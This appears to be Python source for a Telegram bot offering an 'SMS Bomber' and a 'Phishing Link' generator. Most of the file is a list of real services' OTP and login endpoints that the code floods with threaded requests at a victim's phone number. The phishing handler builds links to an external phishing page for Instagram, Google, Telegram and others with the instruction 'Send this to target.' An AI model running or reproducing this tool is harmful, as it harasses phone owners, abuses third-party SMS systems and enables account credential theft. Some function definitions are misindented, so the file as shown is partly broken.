    def get_all_apis(phone):
    phone_without_zero = phone[1:] if phone.startswith('0') else phone
    phone_with_code = f"+98{phone_without_zero}"

    apis = [
        # 41
        {
            'name': 'Bama',
            'url': 'https://bama.ir/signin-checkforcellnumber',
            'method': 'POST',
            'data': f'cellNumber={phone}',
            'type': 'form',
            'headers': {'Origin': 'https://bama.ir', 'Referer': 'https://bama.ir/Signin'}
        },
        # 42
        {
            'name': 'Digify',
            'url': 'https://apollo.digify.shop/graphql',
            'method': 'POST',
            'data': json.dumps({"operationName": "Mutation", "variables": {"content": {"phone_number": phone}}, "query": "mutation Mutation($content: MerchantRegisterOTPSendContent) { merchantRegister { otpSend(content: $content) } }"}),
            'type': 'json',
            'headers': {'Origin': 'https://register.digify.shop', 'Referer': 'https://register.digify.shop/'}
        },
        # 43
        {
            'name': 'Snappfood',
            'url': 'https://snappfood.ir/mobile/v2/user/loginMobileWithNoPass',
            'method': 'POST',
            'data': f'cellphone={phone}',
            'type': 'form',
            'headers': {'Origin': 'https://snappfood.ir', 'Referer': 'https://snappfood.ir/'},
            'delay': 0.8
        },
        # 44
        {
            'name': 'Snapp Market',
            'url': 'https://api.snapp.market/mart/v1/user/loginMobileWithNoPass',
            'method': 'POST',
            'data': f'cellphone={phone}',
            'type': 'form',
            'headers': {'Referer': 'https://snapp.market/'},
            'delay': 0.8
        },
        # 45
        {
            'name': 'Mrbilit',
            'url': 'https://auth.mrbilit.com/api/login/exists/v2',
            'method': 'GET',
            'data': {'mobileOrEmail': phone, 'source': '2', 'sendTokenIfNot': 'true'},
            'type': 'form',
            'headers': {'Origin': 'https://mrbilit.com', 'Referer': 'https://mrbilit.com/'}
        },
        # 46
        {
            'name': 'Arka',
            'url': 'https://api.chartex.net/api/v2/user/validate',
            'method': 'POST',
            'data': json.dumps({"mobile": phone, "country_code": "IR", "provider_code": "RUBIKA"}),
            'type': 'json',
            'headers': {'Origin': 'https://arkasafar.ir', 'Referer': 'https://arkasafar.ir/'}
        },
        # 47
        {
            'name': 'Snapptrip',
            'url': 'https://www.snapptrip.com/register',
            'method': 'POST',
            'data': json.dumps({"lang": "fa", "country_id": "860", "password": "snaptrippass", "mobile_phone": phone, "country_code": "+98", "email": "example@gmail.com"}),
            'type': 'json',
            'headers': {'Origin': 'https://www.snapptrip.com', 'Referer': 'https://www.snapptrip.com/'},
            'delay': 0.8
        },
        # 48
        {
            'name': 'Filmnet',
            'url': f'https://api-v2.filmnet.ir/access-token/users/{phone}/otp',
            'method': 'GET',
            'data': {},
            'type': 'form',
            'headers': {'Origin': 'https://filmnet.ir', 'Referer': 'https://filmnet.ir/', 'X-Platform': 'Web'},
            'delay': 0.8
        },
        # 49
        {
            'name': 'Bitbarg',
            'url': 'https://api.bitbarg.com/api/v1/authentication/registerOrLogin',
            'method': 'POST',
            'data': json.dumps({"phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://bitbarg.com', 'Referer': 'https://bitbarg.com/'}
        },
        # 50
        {
            'name': 'Drdr',
            'url': 'https://drdr.ir/api/registerEnrollment/sendDisposableCode',
            'method': 'POST',
            'data': json.dumps({"phoneNumber": phone_with_code, "userType": "PATIENT"}),
            'type': 'json',
            'headers': {'Origin': 'https://drdr.ir', 'Referer': 'https://drdr.ir/', 'Authorization': 'hiToken'}
        },
        # 51
        {
            'name': 'Torob SMS',
            'url': 'https://api.torob.com/v4/user/phone/send-pin/',
            'method': 'GET',
            'data': {'phone_number': phone, 'source': 'next_desktop', '_landing_page': 'home'},
            'type': 'form',
            'headers': {'Origin': 'https://torob.com', 'Referer': 'https://torob.com/'},
            'delay': 0.8
        },
        # 52
        {
            'name': 'Torob Voice',
            'url': 'https://api.torob.com/v4/user/phone/send-voice-otp/',
            'method': 'GET',
            'data': {'phone_number': phone, 'source': 'next_desktop', '_landing_page': 'home'},
            'type': 'form',
            'headers': {'Origin': 'https://torob.com', 'Referer': 'https://torob.com/'}
        },
        # 53
        {
            'name': 'Snapp Doctor',
            'url': f'https://core.snapp.doctor/Api/Common/v1/sendVerificationCode/{phone_without_zero}/sms?cCode=+98',
            'method': 'GET',
            'data': {},
            'type': 'form',
            'headers': {'Origin': 'https://snapp.doctor', 'Referer': 'https://snapp.doctor/'}
        },
        # 54
        {
            'name': 'Balad',
            'url': 'https://account.api.balad.ir/api/web/auth/login/',
            'method': 'POST',
            'data': json.dumps({"phone_number": phone, "os_type": "W"}),
            'type': 'json',
            'headers': {'Origin': 'https://balad.ir', 'Referer': 'https://balad.ir/', 'Device-Id': f'device-{random.randint(1000, 9999)}'},
            'delay': 1.0
        },
        # 55
        {
            'name': 'MCI Shop',
            'url': 'https://api-ebcom.mci.ir/services/auth/v1.0/otp',
            'method': 'POST',
            'data': json.dumps({"msisdn": phone_without_zero}),
            'type': 'json',
            'headers': {'Origin': 'https://shop.mci.ir', 'Referer': 'https://shop.mci.ir/', 'clientid': '1006ee1c-790c-45fa-a86d-ac36846b87e8'}
        },
        # 56
        {
            'name': 'Okala',
            'url': 'https://api-react.okala.com/C/CustomerAccount/OTPRegister',
            'method': 'POST',
            'data': json.dumps({"mobile": phone, "deviceTypeCode": 0, "confirmTerms": True, "notRobot": False}),
            'type': 'json',
            'headers': {'Origin': 'https://www.okala.com', 'Referer': 'https://www.okala.com/'}
        },
        # 57
        {
            'name': 'Instagram',
            'url': 'https://www.instagram.com/accounts/account_recovery_send_ajax/',
            'method': 'POST',
            'data': f'email_or_username={phone_with_code}',
            'type': 'form',
            'headers': {'Origin': 'https://www.instagram.com', 'Referer': 'https://www.instagram.com/accounts/password/reset/', 'X-CSRFToken': f'token-{random.randint(10000, 99999)}', 'X-IG-App-ID': '936619743392459'}
        },
        # 58
        {
            'name': 'Mrbilit New',
            'url': 'https://auth.mrbilit.ir/api/Token/send',
            'method': 'GET',
            'data': {'mobile': phone},
            'type': 'form',
            'headers': {'Origin': 'https://mrbilit.ir', 'Referer': 'https://mrbilit.ir/'}
        },
        # 59
        {
            'name': 'Alibaba Fixed',
            'url': 'https://ws.alibaba.ir/api/v3/account/mobile/otp',
            'method': 'POST',
            'data': json.dumps({"phoneNumber": phone_without_zero}),
            'type': 'json',
            'headers': {'Origin': 'https://www.alibaba.ir', 'Referer': 'https://www.alibaba.ir/', 'ab-channel': 'WEB', 'ab-alohomora': 'MTMxOTIzNTI1MjU2NS4yNTEy'}
        },
        # 60
        {
            'name': 'Okala Check Password',
            'url': 'https://apigateway.okala.com/api/voyager/C/CustomerAccount/CheckHasPassword',
            'method': 'POST',
            'data': f'mobile={phone}',
            'type': 'form',
            'headers': {'Origin': 'https://www.okala.com', 'Referer': 'https://www.okala.com/', 'Content-Type': 'application/x-www-form-urlencoded'}
        },
        # 61
        {
            'name': 'Jabama Fixed',
            'url': 'https://gw.jabama.com/api/v4/account/send-code',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://jabama.com', 'Referer': 'https://jabama.com/', 'Accept': 'application/json'}
        },
        # 62
        {
            'name': 'ZarShop Fixed',
            'url': 'https://zar-shop.com/api/v1/sessions/login_request',
            'method': 'POST',
            'data': json.dumps({"mobile_phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://zar-shop.com', 'Referer': 'https://zar-shop.com/'}
        },
        # 63
        {
            'name': 'Parsimezon Fixed',
            'url': 'https://parsimezon.ir/wp-admin/admin-ajax.php',
            'method': 'POST',
            'data': f'action=digits_check_mob&countrycode=%2B98&mobileNo={phone}&csrf=93fe116779&login=2&username=&email=&captcha=&captcha_ses=&json=1&whatsapp=0',
            'type': 'form',
            'headers': {'Origin': 'https://parsimezon.ir', 'Referer': 'https://parsimezon.ir/', 'X-Requested-With': 'XMLHttpRequest'}
        },
        # 64
        {
            'name': 'Trip Register',
            'url': 'https://gateway.trip.ir/api/registers',
            'method': 'POST',
            'data': json.dumps({"CellPhone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://www.trip.ir', 'Referer': 'https://www.trip.ir/'}
        },
        # 65
        {
            'name': 'Trip OTP',
            'url': 'https://gateway.trip.ir/api/Totp',
            'method': 'POST',
            'data': json.dumps({"PhoneNumber": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://www.trip.ir', 'Referer': 'https://www.trip.ir/'}
        },
        # 66
        {
            'name': 'Paklean Voice',
            'url': 'https://client.api.paklean.com/user/resendVoiceCode',
            'method': 'POST',
            'data': json.dumps({"username": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://paklean.com', 'Referer': 'https://paklean.com/'}
        },
        # 67
        {
            'name': 'Azki Call',
            'url': 'https://www.azki.com/api/vehicleorder/api/customer/register/login-with-vocal-verification-code',
            'method': 'GET',
            'data': {'phoneNumber': phone},
            'type': 'form',
            'headers': {'Origin': 'https://www.azki.com', 'Referer': 'https://www.azki.com/', 'device': 'web'}
        },
        # 68
        {
            'name': 'Ragham',
            'url': 'https://web.raghamapp.com/api/users/code',
            'method': 'POST',
            'data': json.dumps({"phone": phone_with_code}),
            'type': 'json',
            'headers': {'Origin': 'https://web.raghamapp.com', 'Referer': 'https://web.raghamapp.com/'}
        },
        # 69
        {
            'name': 'Novinbook Call',
            'url': 'https://novinbook.com/index.php?route=account/phone',
            'method': 'POST',
            'data': f'phone={phone}&call=yes',
            'type': 'form',
            'headers': {'Origin': 'https://novinbook.com', 'Referer': 'https://novinbook.com/index.php?route=account/phone'}
        },
        # 70
        {
            'name': 'Gharar',
            'url': 'https://gharar.ir/users/phone_number/',
            'method': 'POST',
            'data': f'phone={phone}',
            'type': 'form',
            'headers': {'Origin': 'https://gharar.ir', 'Referer': 'https://gharar.ir/'}
        },
        # 71
        {
            'name': 'Watchonline',
            'url': 'https://api.watchonline.shop/api/v1/otp/request',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://www.watchonline.shop', 'Referer': 'https://www.watchonline.shop/'}
        },
        # 72
        {
            'name': 'Sabziman',
            'url': 'https://sabziman.com/wp-admin/admin-ajax.php',
            'method': 'POST',
            'data': f'action=newphoneexist&phonenumber={phone}',
            'type': 'form',
            'headers': {'Origin': 'https://sabziman.com', 'Referer': 'https://sabziman.com/'}
        },
        # 73
        {
            'name': 'Offch',
            'url': 'https://api.offch.com/auth/otp',
            'method': 'POST',
            'data': json.dumps({"username": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://offch.com', 'Referer': 'https://offch.com/'}
        },
        # 74
        {
            'name': 'Sibbazar',
            'url': 'https://sandbox.sibbazar.com/api/v1/user/invite',
            'method': 'POST',
            'data': json.dumps({"username": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://sibbazar.com', 'Referer': 'https://sibbazar.com/'}
        },
        # 75
        {
            'name': 'Bit24',
            'url': 'https://bit24.cash/app/api/auth/check-mobile',
            'method': 'POST',
            'data': json.dumps({"mobile": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://bit24.cash', 'Referer': 'https://bit24.cash/app/login'}
        },
        # 76
        {
            'name': 'Alopeyk',
            'url': 'https://api.alopeyk.com/api/v2/login?platform=pwa',
            'method': 'POST',
            'data': json.dumps({"type": "CUSTOMER", "model": "Chrome", "platform": "pwa", "version": "10", "manufacturer": "Windows", "isVirtual": False, "serial": True, "app_version": "1.2.6", "uuid": True, "phone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://alopeyk.com', 'Referer': 'https://alopeyk.com/'}
        },
        # 77
        {
            'name': 'Snapp Drivers',
            'url': 'https://digitalsignup.snapp.ir/oauth/drivers/api/v1/otp',
            'method': 'POST',
            'data': json.dumps({"cellphone": phone}),
            'type': 'json',
            'headers': {'Origin': 'https://snapp.ir', 'Referer': 'https://snapp.ir/'}
        },
        # 78
        {
            'name': 'Wide',
            'url': 'https://agent.wide-app.ir/auth/token',
            'method': 'POST',
            'data': json.dumps({"grant_type": "otp", "client_id": "62b30c4af53e3b0cf100a4a0", "phone": phone}),
            'type': 'json',
            'headers': {'Host': 'agent.wide-app.ir', 'User-Agent': 'Dart/2.18 (dart:io)'}
        }
    ]
    return apis
    def send_request(api, phone, request_id):
    delay = api.get('delay', BASE_DELAY)
    time.sleep(delay + random.uniform(0, 0.2))

    for attempt in range(MAX_RETRIES):
        try:
            headers = {
                'User-Agent': random.choice(USER_AGENTS),
                'Accept': 'application/json, text/plain, */*',
                'Accept-Language': 'fa-IR,fa;q=0.9,en;q=0.8',
                'Accept-Encoding': 'gzip, deflate',
                'Connection': 'keep-alive',
                'Cache-Control': 'no-cache',
            }
            if 'headers' in api:
                headers.update(api['headers'])

            if api['type'] == 'json':
                headers['Content-Type'] = 'application/json'
                data = json.loads(api['data']) if isinstance(api['data'], str) else api['data']
            else:
                headers['Content-Type'] = 'application/x-www-form-urlencoded'
                data = api['data']

            session = requests.Session()
            if api['method'] == 'POST':
                if api['type'] == 'json':
                    response = session.post(api['url'], json=data, headers=headers, timeout=TIMEOUT, verify=False, allow_redirects=True)
                else:
                    response = session.post(api['url'], data=data, headers=headers, timeout=TIMEOUT, verify=False, allow_redirects=True)
            else:
                response = session.get(api['url'], params=data if isinstance(data, dict) else {}, headers=headers, timeout=TIMEOUT, verify=False, allow_redirects=True)
            session.close()

            status = response.status_code
            if status == 200:
                print(f"\rM [{request_id}] {api['name']} - 200", flush=True)
                error_manager.add_success()
                return True
            elif status == 429:
                print(f"\rM [{request_id}] {api['name']} - 429", flush=True)
                error_manager.add_error(api['name'], 429)
                time.sleep(2)
                continue
            elif status in [400, 401, 403, 404, 406, 419, 422]:
                print(f"\r⚠️ [{request_id}] {api['name']} - {status}", flush=True)
                error_manager.add_error(api['name'], status)
                return False
            else:
                print(f"\rM [{request_id}] {api['name']} - {status}", flush=True)
                error_manager.add_error(api['name'], status)
                return False

        except requests.exceptions.Timeout:
            print(f"\r⏱️ [{request_id}] {api['name']} - Timeout", flush=True)
            error_manager.add_error(api['name'], 408, "Timeout")
            time.sleep(1)
        except requests.exceptions.ConnectionError:
            print(f"\rM [{request_id}] {api['name']} - Connection Error", flush=True)
            error_manager.add_error(api['name'], 503, "Connection Error")
            time.sleep(1)
        except Exception as e:
            print(f"\r@pnkjesse [{request_id}] {api['name']} - {str(e)[:30]}", flush=True)
            error_manager.add_error(api['name'], 999, str(e)[:50])
            return False

    error_manager.add_fail()
    return False
    def worker(api, phone, worker_id):
    success = 0
    fail = 0
    for i in range(REQUESTS_PER_API):
        if send_request(api, phone, f"W{worker_id}-{i+1}"):
            success += 1
        else:
            fail += 1
        time.sleep(BASE_DELAY)
    return success, fail

def run_bomber(phone):
    """Execute bomber script and return output as string"""
    import io
    from contextlib import redirect_stdout

    f = io.StringIO()
    with redirect_stdout(f):
        print("=" * 70)
        print(" SMS Bomber - Advanced Version (All APIs Included)")
        print("=" * 70)
        if not phone.startswith('09') or len(phone) != 11:
            print("Invalid phone number. Must start with 09 and be 11 digits.")
            return f.getvalue()

        all_apis = get_all_apis(phone)
        print(f"\n target: {phone}")
        print(f" APIs: {len(all_apis)}")
        print(f" threads: {THREAD_COUNT}")
        print(f" requests per API: {REQUESTS_PER_API}")
        print(f" total requests: {len(all_apis) * REQUESTS_PER_API}")
        print("=" * 70)
        print("Starting bombing...")
        print("=" * 70)

        start_time = time.time()
        with ThreadPoolExecutor(max_workers=THREAD_COUNT) as executor:
            futures = []
            for i, api in enumerate(all_apis):
                futures.append(executor.submit(worker, api, phone, i+1))
            for future in futures:
                try:
                    future.result(timeout=60)
                except Exception as e:
                    print(f"Error in thread: {e}")

        elapsed = time.time() - start_time
        error_manager.print_report()
        print(f"\n Time: {elapsed:.1f} sec")
        print(f" Success rate: {error_manager.success_count / elapsed:.1f} req/sec" if elapsed > 0 else " Success rate: 0")
        print("=" * 70)

    return f.getvalue()
    def send_message(chat_id, text, reply_markup=None):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
    payload = {
        'chat_id': chat_id,
        'text': text,
        'parse_mode': 'Markdown'
    }
    if reply_markup:
        payload['reply_markup'] = json.dumps(reply_markup)
    try:
        requests.post(url, json=payload, timeout=10)
    except Exception as e:
        print(f"Send message error: {e}")

def edit_message(chat_id, message_id, text, reply_markup=None):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/editMessageText"
    payload = {
        'chat_id': chat_id,
        'message_id': message_id,
        'text': text,
        'parse_mode': 'Markdown'
    }
    if reply_markup:
        payload['reply_markup'] = json.dumps(reply_markup)
    try:
        requests.post(url, json=payload, timeout=10)
    except Exception as e:
        print(f"Edit message error: {e}")

def answer_callback(callback_id, text=None, alert=False):
    url = f"https://api.telegram.org/bot{BOT_TOKEN}/answerCallbackQuery"
    payload = {'callback_query_id': callback_id}
    if text:
        payload['text'] = text
        payload['show_alert'] = alert
    try:
        requests.post(url, json=payload, timeout=10)
    except Exception as e:
        print(f"Answer callback error: {e}")
        # ----- Inline Keyboards -----
def main_keyboard():
    return {
        'keyboard': [
            ['📱 SMS Bomber', '🔗 Phishing Link'],
            ['📋 My Links', '📊 Stats'],
            ['🆘 Help', '👤 Profile']
        ],
        'resize_keyboard': True
    }

def link_types_keyboard():
    return {
        'inline_keyboard': [
            [{'text': '📸 Instagram', 'callback_data': 'type_instagram'}, {'text': '✈️ Telegram', 'callback_data': 'type_telegram'}],
            [{'text': '📘 Facebook', 'callback_data': 'type_facebook'}, {'text': '📱 Rubika', 'callback_data': 'type_rubika'}],
            [{'text': '💬 WhatsApp', 'callback_data': 'type_whatsapp'}, {'text': '🐦 Twitter', 'callback_data': 'type_twitter'}],
            [{'text': '🐙 GitHub', 'callback_data': 'type_github'}, {'text': '🔍 Google', 'callback_data': 'type_google'}],
            [{'text': '🎵 Spotify', 'callback_data': 'type_spotify'}, {'text': '🎨 Custom', 'callback_data': 'type_custom'}]
        ]
    }

def back_keyboard():
    return {
        'inline_keyboard': [
            [{'text': '🔙 Back', 'callback_data': 'back'}]
        ]
    }

# ----- Message & Callback Handlers -----
def handle_message(message):
    chat_id = str(message['chat']['id'])
    text = message.get('text', '')
    user_id = str(message['from']['id'])

    if text == '/start':
        send_message(chat_id, "👋 Welcome! Choose an option:", main_keyboard())
    elif text == '📱 SMS Bomber' or text == '/bomber':
        if user_id not in ADMIN_IDS:
            send_message(chat_id, "⛔ You are not authorized to use this command.")
            return
        send_message(chat_id, "📱 Send the phone number like:\n`/bomber 09123456789`")
    elif text.startswith('/bomber'):
        parts = text.split()
        if len(parts) < 2:
            send_message(chat_id, "❌ Please provide a phone number.\nExample: `/bomber 09123456789`")
            return
        phone = parts[1]
        if not phone.startswith('09') or len(phone) != 11:
            send_message(chat_id, "❌ Invalid phone number. Must start with 09 and be 11 digits.")
            return
        if user_id not in ADMIN_IDS:
            send_message(chat_id, "⛔ You are not authorized.")
            return
        # Run bomber in a separate thread to avoid blocking
        threading.Thread(target=run_bomber_and_reply, args=(chat_id, phone)).start()
        send_message(chat_id, f"⏳ Bombing started on `{phone}` ... Please wait.")
    else:
        send_message(chat_id, "❓ Unknown command. Use /start", main_keyboard())

def handle_callback(callback):
    callback_id = callback['id']
    chat_id = str(callback['message']['chat']['id'])
    message_id = callback['message']['message_id']
    data = callback['data']
    user_id = str(callback['from']['id'])

    answer_callback(callback_id)

    if data.startswith('type_'):
        link_type = data.replace('type_', '')
        link_id = ''.join(random.choices('0123456789abcdef', k=16))
        url = f"https://ultemat.shop/AXE/phishing.html?l={link_id}"
        # Save link if needed (optional)
        edit_message(chat_id, message_id,
            f"✅ **Phishing link created!**\n\n"
            f"🔗 Type: {link_type.capitalize()}\n"
            f"🆔 ID: `{link_id}`\n\n"
            f"📌 Copy link:\n`{url}`\n\n"
            f"Send this to target.",
            back_keyboard()
        )
    elif data == 'back':
        edit_message(chat_id, message_id, "🔙 Back to menu", main_keyboard())
    else:
        edit_message(chat_id, message_id, "Unknown action.", main_keyboard())

def run_bomber_and_reply(chat_id, phone):
    result = run_bomber(phone)
    if len(result) > 4000:
        result = result[:4000] + "\n\n... (output truncated)"
    send_message(chat_id, f"✅ **Bombing result:**\n```\n{result}\n```")
    def main():
    print("=" * 60)
    print("🤖 Telegram Bot with SMS Bomber (Polling Mode)")
    print("📦 All APIs Included (78 services)")
    print("=" * 60)
    print(f"Admin IDs: {', '.join(ADMIN_IDS)}")
    print("Bot is running... Press Ctrl+C to stop.")
    print("=" * 60)

    offset = 0
    while True:
        try:
            url = f"https://api.telegram.org/bot{BOT_TOKEN}/getUpdates"
            params = {'offset': offset, 'timeout': 30}
            resp = requests.get(url, params=params, timeout=35)
            if resp.status_code != 200:
                print(f"Error getting updates: {resp.status_code}")
                time.sleep(5)
                continue

            updates = resp.json().get('result', [])
            for update in updates:
                offset = update['update_id'] + 1
                if 'message' in update:
                    handle_message(update['message'])
                if 'callback_query' in update:
                    handle_callback(update['callback_query'])

        except KeyboardInterrupt:
            print("\n🛑 Bot stopped by user.")
            break
        except Exception as e:
            print(f"Polling error: {e}")
            time.sleep(5)

if __name__ == '__main__':
    main()